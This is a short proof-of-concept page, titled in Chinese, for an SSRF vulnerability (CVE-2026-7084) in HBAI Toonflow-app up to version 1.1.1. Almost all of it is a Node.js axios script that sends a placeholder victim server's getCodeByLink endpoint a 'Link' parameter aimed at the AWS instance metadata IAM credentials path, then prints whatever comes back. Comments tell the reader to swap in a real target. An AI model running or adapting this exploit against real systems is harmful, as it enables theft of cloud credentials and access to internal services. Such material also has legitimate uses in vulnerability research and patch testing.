CVE-2026-7084 HBAI Toonflow-app SSRF漏洞

// POC for CVE-2026-7084 // Target: HBAI-Ltd Toonflow-app <= 1.1.1 // Endpoint: /getCodeByLink (or specific route based on implementation) // Description: Sending a request with a malicious 'Link' parameter to trigger SSRF. const axios = require('axios'); const targetUrl = 'http://victim-site.com/src/routes/setting/vendorConfig/getCodeByLink'; // Replace with actual target // Example payload to access AWS Metadata or internal local service const maliciousLink = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'; async function checkSSRF() { try { const response = await axios.get(targetUrl, { params: { Link: maliciousLink }, timeout: 5000 }); console.log('Status:', response.status); console.log('Response Data:', response.data); } catch (error) { console.error('Request failed or timed out (might indicate interaction):', error.message); } } checkSSRF();